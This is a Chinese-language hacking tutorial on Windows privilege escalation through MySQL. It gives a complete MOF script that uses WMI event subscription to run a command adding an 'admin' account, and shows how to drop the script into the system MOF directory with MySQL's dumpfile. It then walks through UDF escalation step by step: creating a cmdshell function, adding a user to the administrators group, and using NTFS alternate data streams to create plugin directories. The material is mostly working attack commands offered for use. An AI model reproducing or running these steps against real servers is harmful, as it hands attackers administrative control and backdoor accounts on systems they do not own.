1.MOF提权
简单的说mof就是系统内部的一个程序,每隔一定时间系统就会以root权限去执行,我们将其替换然后执行我们的而已攻击代码。此举称之为mof提权。
以下便是脚本:
1 #pragma namespace("\\\\.\\root\\subscription")2
3 instance of __EventFilter as$EventFilter4 {5 EventNamespace = "Root\\Cimv2";6 Name = "filtP2";7 Query = "Select * From __InstanceModificationEvent"
8 "Where TargetInstance Isa \"Win32_LocalTime\" "
9 "And TargetInstance.Second = 5";10 QueryLanguage = "WQL";11 };12
13 instance of ActiveScriptEventConsumer as$Consumer14 {15 Name = "consPCSV2";16 ScriptingEngine = "JScript";17 ScriptText =
18 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";19 };20
21 instance of__FilterToConsumerBinding22 {23 Consumer =$Consumer;24 Filter =$EventFilter;25 };
保存为a.mof然后找一个可写目录上传a.mof,使用MySQL执行:select load_file('D:\wamp\a.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
即可提权成功。PS:添加的账号密码在脚本里。
2.UDF提权
0x01
首先需要判断版本。且在导出dll的时候需要多加一个斜杠
mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\ 一般情况下是大于5.2的,而默认情况下[Plugin]目录也是不存在的。可以通过菜刀新建,如若不行可以通过0x03的NTFS流创建。
0x02
创建cmdshell函数
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
0x03
在默认情况下会遇到Can't open shared library也就是文件夹问题,需要创建一刚开始说的文件夹,可以菜刀里直接新建,如若不行,可以通过NTFS创建。
查找到mysql的目录:select @@basedir;
利用NTFS ADS创建lib目录:select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
利用NTFS ADS创建plugin目录:select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
然后导出以后就再创建函数通过函数来执行cmd即可。